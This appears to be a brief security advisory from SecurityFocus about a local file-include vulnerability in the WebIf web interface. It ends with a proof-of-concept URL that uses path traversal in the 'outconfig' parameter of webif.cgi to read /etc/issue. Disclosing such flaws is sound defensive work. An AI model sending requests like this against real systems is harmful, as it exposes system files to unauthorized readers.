source: http://www.securityfocus.com/bid/24516/info

WebIf is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts. 

http://www.example.com/webif/webif.cgi?cmd=query&config=conf_2000/config.txt&outconfig=../../../../etc/issue